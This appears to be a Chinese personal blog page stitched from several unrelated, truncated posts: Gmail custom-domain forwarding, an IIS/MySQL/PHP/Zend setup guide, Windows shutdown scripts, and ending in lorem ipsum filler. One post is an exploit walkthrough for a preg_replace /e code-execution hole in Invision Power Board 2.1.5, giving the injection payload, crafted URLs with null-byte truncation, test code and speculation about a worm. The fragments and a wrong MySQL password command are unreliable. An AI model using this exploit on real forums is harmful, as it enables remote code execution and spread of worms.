Anyway,we should move on…
Gmail打造自己的企业邮箱VS微软的免费邮局服务,不过老实说GOOGLE提供的只是一个邮件转向功能,和微软那真正的邮局是没的比的,不过能让我doraemon#doraemon.cn和我的GMAIL合在一起管理也是不错的,太多的邮箱使得我管理邮件不方便,而且还可以节约下一笔商业邮箱费用,呵呵。
现在有自己的域名的人越来越多,使用自己的域名为后缀的mail地址,可以体现自己的个性,但是企业邮箱大多都是收费的,价格昂贵,而且容量也小,一个50M的企业邮箱可能需要100元以上。免费提供企业邮箱的又十分的少,容量也不大,而且不稳定,随时可能消失。最近笔者我使用Gmail发现在setting当中的account中可以添加其他的邮件账户,用非gmail的邮件地址来发送信件,于是萌生了利用gmail打造自己的企业邮箱的念头,经过试验,最终获得成功,可以拥有免费而且稳定的大容量企业邮箱(gmail有多大,我们的邮箱就有多大),笔者把具体的方法和大家分享。
1.首先需要一个有DNS控制面版的域名,并且可以有mail转向的功能,其次需要一个google gmail邮箱(没有邮箱的可以在本日至后给我留言,留下你的信箱地址,我会发邀请)。在域名的mail转向里面将你想要的邮箱地址设置到Gmail上,这一步因为各个域名注册商不一样,所以具体设置就不能在这里演示了。e.g. 你想使用admin@domain.com,你的google邮箱是name@gmail.com就把admin@domian.com的mail forward到name@gmail.com。
2.做好上一步后,一般要等24小时生效,请务在mail forward未生效的时候做以下步骤,在gmail上捆绑第二邮箱需要在确认信上确认的,试一下给自己的
admin@domain.com发一封信,看看是否能在gmail上收到,能收到的话就可以开始以下步骤了。
3.打开gmail,点击右上角的setting(中文版按照相应按钮操作)
自动选择最快的镜像站代码,通过flash script3来实现,效果非常棒
实现原理:
通过flash 加载2个镜像网站的相同大小的一个swf文件,加载结束以后,统计2个文件的加载时间,时间越短,当然加载速度越快了,然后比较大小,自懂跳转到对应的网址.一下是loading.swf源码
安装环境:Windows 2003 sp2
安装步骤:
1.IIS安装
添加删除组件内安装,这个步骤省略….
2.MYSQL的装配置
这里选择安装的是较稳定,也是用的最多的4.0.26版本,用的是install版,安装包可以到官方下载,地址:http://dev.mysql.com/get/Downloads/MySQL-4.0/mysql-4.0.26-win32.zip/from/pick#mirrors
下载后解压缩zip包,双击setup.exe安装,默认路径是C:\MYSQL,一般我们安装在D盘,一路next后安装就完成了
。接下来是让mysql运行起来,在开始菜单的运行中输入D:\MySQL\bin\mysqld-nt -install,运行成功后net mysql start,这样mysql服务就启动了。如果你还想较详细的配置 MySQL ,就请进入bin 目录,运行 MySQLInstanceConfig.exe ,按提示操作即可。进入安装目录下的bin目录里,运行mysqladmin你会看到系统托盘里有个类似交通信号灯的图标,如果变为绿色,即表示Mysql服务器运行了。
MYSQL 默认密码为空,因此设个密码,进入bin目录,mysql -u root -p password yrpasswd,yrpasswd是你要设置的密码,如你想把密码设置为123456,就输入mysql -u root -p password 123456,然后回车,提示输入初始密码,由于为空,再回车一下搞定。如何新建数据库,如何给于相应权限可以参考命令手册,这里略。
3.php的安装配置
既然mysql用了4.0.26版本,那么php用4.4.1比较合适,首先去下载安装包,我在下载php-4.4.1-installer.exe的同时也下载了php-4.4.1-Win32.zip,一开始用的是zip包,解压出来也参照了别人的方法配置,但没成功,后来还是用install版的安装了下,查了一下资料选用php-4.4.1-installer.exe是采用的CGI模式运行PHP,网上有不少介绍安装php-4.4.1-Win32.zip的都是采用ISAPI安装,复制来复制去的,我苦于没成功,放弃了,而且在以后安装
Zend Optimizer时,可能会出现PHP安装不完全的提示。因此建议直接install安装,选择安装在C:\PHP,中间选择你的iis版本,然后一路next,安装完毕。注意,在安装php前先确保IIS正在正常运行。
然后可以在网站目录下建立一个php测试文件,内容为
测试的时候,可以在网站的目录下面,新建立一个inf.php的文件,内容是
phpinfo();
?>
然后在浏览器上访问这个页面.就可以看到PHP的相关信息了.
3.Zend Optimizer安装配置
Zend 是用来给php加速,让php运行的很快,在安装zend时,注意版本应该选择2.5.10a,不要选择比这个更低的版本,否则安装会出现无法预料的问题。 下载后得到 Zend Optimizer v2.5.10a For Windows-i386.exe ,直接双击安装即可,安装过程要你选择 Web Server 时,选择 IIS ,然后会有选择web目录等问题,然后后提示你是否 Restart Web Server,选择是,完成安装之前提示是否备份 php.ini ,点确定后安装完成。
Zend Optimizer 的安装向导会自动根据你的选择来修改 php.ini 帮助你启动这个引擎。下面简单介绍一下 Zend Optimizer 的配置选项。以下为安装完成后 php.ini 里的默认配置代码(分号后面的内容为注释):
[Zend]
zend_optimizer.optimization_level=15
;优化程度,这里定义启动多少个优化过程,默认值是 15 ,表示同时开启 10 个优化过程中的 [...]
1.Reboot重启脚本(reboot.bat):
@echo off
setlocal
cd/d %temp%
echo [version] > reboot.inf
set inf=InstallHinfSection DefaultInstall
echo signature=$chicago$ >> reboot.inf
echo [defaultinstall] >> reboot.inf
rundll32 setupapi,%inf% 1 %temp%\reboot.inf
del reboot.inf
2.关机脚本(shutdown.bat):
@echo off
setlocal
cd/d %temp%
echo Set colOperatingSystems = GetObject(”winmgmts:{(Shutdown)}”).ExecQuery(”Select * from Win32_OperatingSystem”) >shutdown.vbs
echo For Each objOperatingSystem in colOperatingSystems >>shutdown.vbs
echo ObjOperatingSystem.Win32Shutdown(8) >>shutdown.vbs
echo Next >>shutdown.vbs
cscript shutdown.vbs
del shutdown.vbs
3.关机脚本(shutdown1.vbs):
Set colOperatingSystems = GetObject(”winmgmts:{(Shutdown)}”).ExecQuery(”Select * from Win32_OperatingSystem”)
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Win32Shutdown(8)
Next
4.延时60秒,在关机前提示,可以在延时到达前取消关机(shutdown2.vbs脚本):
set wshshell = CreateObject(”WScript.Shell”)
timeout = [...]
###############简单分析################该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php 行1258-1262:
if ( $this->ipsclass->input['lastdate'] ) { $this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1
selected=’selected’", $this->output ); } }
通过变量input['lastdate']注入/e, $this->output注入shellcode。
###############利用方法################
注册一个用户,发个贴 内容[shellcode]如下:[
superheixxxxxxxeval(phpinf0()); //
注意最后的;和//之间有一空格
然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ]
可以得到searchidhttp://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul
t_type=posts&highlite=superheixxxxxxxeval
然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了:
http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul
t_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00
###############分析讨论################1.
简单分析:
该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php 行1258-1262:
if ( $this->ipsclass->input['lastdate'] )
{
$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1
selected=’selected’", $this->output );
}
}
通过变量input['lastdate']注入/e, $this->output注入shellcode。
这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交
的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected=’selected’ 里面的\\1 为第一参数里正则表达试匹配后的值。归根结底
我们提交的shellcode还是在第2个参数执行了。
2.
注意最后的;和//之间有一空格
这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//
3.preg_replace存在null截断漏洞????
我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:<?$a=$_GET[a];echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");?>
我们直接提交http://127.0.0.1/test2.php?a=2出现错误:Warning: Unknown modifier ‘2′ in d:\easyphp\www\test2.php on line 3
提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是
经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。
4."lastdate=z|eval.*?%20//)%23e%00"的构造主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。
5.worm的利用?还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片
认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多……
###############总结模型################1.直接在preg_replace第2个变量执行的模式:<?echo [...]
Hei,guys! I am Steven Shan! The blog's owner!
Yes, as you seen,my nick name is Syshy,this is my blog,so I named it Syshy's Blog!
Consectetuer adipiscing elit. Quisque sed felis. Aliquam sit amet felis. Mauris semper, velit semper laoreet dictum, quam diam dictum urna, nec placerat elit nisl in quam. Etiam augue pede, molestie eget, rhoncus at, convallis ut, eros. Aliquam pharetra. Nulla in tellus eget odio sagittis blandit. Maecenas at nisl. Nullam lorem mi, eleifend a, fringilla vel, semper at, ligula.